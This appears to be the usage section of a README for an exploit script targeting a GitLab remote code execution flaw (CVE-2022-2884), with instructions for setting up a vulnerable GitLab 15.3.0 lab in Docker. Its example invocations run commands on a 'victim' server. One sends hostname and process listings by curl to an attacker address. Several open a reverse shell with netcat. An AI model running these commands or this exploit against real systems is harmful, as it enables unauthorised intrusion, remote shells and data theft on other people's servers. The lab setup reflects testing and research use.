## Examples

```

```

```
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
```

```
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
```

```
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
```

```
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
```

```
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"
```

## Vulnerable application

A vulnerable application can be setup with the following commands.

```
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0
```

It might take a while before the Docker container starts to respond to queries. Then connect to `http://localhost`.

```
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password
```

To test the exploit locally, you have to add `--network="host"` to the `docker run` command and to remove constraints for outbound requests on GitLab:
* connect to [http://localhost/admin/application_settings/network](http://localhost/admin/application_settings/network);
* expand "*Outbound requests*" section;
* tick "*Allow requests to the local network from web hooks and services*";
* add `127.0.0.1` to the "*Local IP addresses and domain names that hooks and services may access*" textbox;
* save changes.

The prerequisite of the exploit is to have a private token on GitLab:
* connect to [http://localhost/-/profile/personal_access_tokens](http://localhost/-/profile/personal_access_tokens);
* generate a token with at least `api` scope.
